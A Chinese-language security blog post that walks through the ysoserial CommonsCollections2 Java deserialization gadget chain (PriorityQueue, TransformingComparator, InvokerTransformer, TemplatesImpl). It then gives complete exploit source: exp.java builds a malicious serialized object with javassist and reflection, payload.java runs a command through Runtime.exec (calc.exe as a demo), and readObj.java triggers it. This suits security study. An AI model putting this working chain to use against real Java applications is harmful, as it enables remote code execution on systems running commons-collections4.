java反序列化-ysoserial-除錯分析總結篇(2)
前言:
這篇主要分析commonCollections2,呼叫鏈如下圖所示:
呼叫鏈分析:
分析環境:jdk1.8.0
反序列化的入口點為src.zip!/java/util/PriorityQueue.java
此時將會對佇列呼叫siftdown函式,其中佇列中包含了兩個元素,其中一個即為templatesImpl惡意類
接下來呼叫siftDownUsingConparator函式
在這裡將呼叫TransformingComparator的compare函式,在這裡就到了新的漏洞觸發點,this.transformer.transform(),而這裡的this.transformer即為invokerTransformer,
在commoncollections1中第一次呼叫的是Lazymap的this.factory.transform,而這裡是priorityQueue.java的compare裡的this.transformer.transform
而invokeTransformer中將反射呼叫,templatesImple的newTranformer方法,以前分析fastjson1.2.24時候也用的是這個內建的TemplatesImple類,其有getoutputProperties也將呼叫newTransformer()
接著套路思路就是在newTransformer中例項化我們的惡意位元組碼中包含的類,從而呼叫其static程式碼塊或者構造方法中的rce程式碼
ysoserial-exp構造
分析完呼叫鏈以後看看ysoserial是如何構造payload的
首先建立TemplatesImpl例項
Class.forName載入三個需要用到的類,然後呼叫過載的TemplatesImpl來建立例項,這裡用到的技術是javassist操作類的位元組碼
接下來要對我們_bytecode欄位所要儲存的惡意位元組碼類進行操作,這裡首先將兩個類放到pool中
其中SubTransletpaylod就是存放rce程式碼的類
接下來從pool中取出要操作的類,來操作其位元組碼
接下來該類建立static程式碼塊,並且加入rce的程式碼,這裡的程式碼可以自定義,讀寫檔案也可以
然後給該類重新設定名字,其實這個可以省略,接下來給該類設定父類為tranlet,其實這裡也可以不設定,payload類裡已經設定好了
之後將rce類的位元組碼放到_bytecodes屬性中,再設定其他依賴屬性_name和_tfactory即可返回templatesImpl類
接著定義需要反射呼叫的方法,這裡首先用tostring進行填充,後面再放入newtransformer,宣告要反序列化的佇列priorityQueue,容量為2
然後反射設定invoketransformer的方法為newtransformer來替換原來的tostring,然後再將queue中的兩個元素替換成templatesImpl類的例項,從而結束整個構造過程,因此構造分為三步
1.構造用於執行rce的類
2.構造templatesImpl類的例項,將1中的類填充
3.將2中的類填充到priorityqueue佇列中,返回obj
手動編寫exp:
exp.java
package CommonCollections2; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class exp { public static void main(String[] args) throws ClassNotFoundException, NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException { TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass clazz = pool.get(payload.class.getName()); final byte[] clazzByte = clazz.toBytecode(); //_bytecode為private,需要設定可訪問 Field _btcode = TemplatesImpl.class.getDeclaredField("_bytecodes"); _btcode.setAccessible(true); _btcode.set(tmp,new byte[][]{clazzByte}); //_name不為空即可 Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true); _name.set(tmp,"tr1ple"); //_tfactory可為空 Field _tf = TemplatesImpl.class.getDeclaredField("_tfactory"); _tf.setAccessible(true); _tf.set(tmp,null); // //構造priorityqueue物件 // PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]); //InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //呼叫該方法一樣的效果 //依賴collections4 TransformingComparator com = new TransformingComparator(trans); Field ComFi = PriorityQueue.class.getDeclaredField("comparator"); ComFi.setAccessible(true); ComFi.set(queue,com); Field qu = PriorityQueue.class.getDeclaredField("queue"); qu.setAccessible(true); Object[] objOutput = (Object[])qu.get(queue); objOutput[0] = tmp; objOutput[1] = 1; //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser"); OutputStream out = new FileOutputStream(file); ObjectOutputStream obj = new ObjectOutputStream(out); obj.writeObject(queue); obj.close(); } }
payload.java
package CommonCollections2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; import java.io.Serializable; public class payload extends AbstractTranslet implements Serializable { { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } public payload(){ System.out.println("tr1ple 2333"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
readObj.java
package CommonCollections2; import java.io.*; public class readObj { public static void main(String[] args) { try { FileInputStream fio = new FileInputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser")); ObjectInputStream obj = new ObjectInputStream(fio); obj.readObject(); obj.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
測試結果:
如下圖所示,_bytecode中的類將被例項化,呼叫static程式碼塊的程式碼和建構函式中的程式碼
總結:
整個呼叫鏈的重點是在對佇列元素排序時可以自定義比較器進行轉換從而觸發反射呼叫佇列元素的成員方法,相對於cc1來說構造感覺更精巧一點,這個內部TemplatesImpl類也是jdk內建的,攻擊效果也不受到jdk版本影響,只要cc4.0的依賴存在即可
&n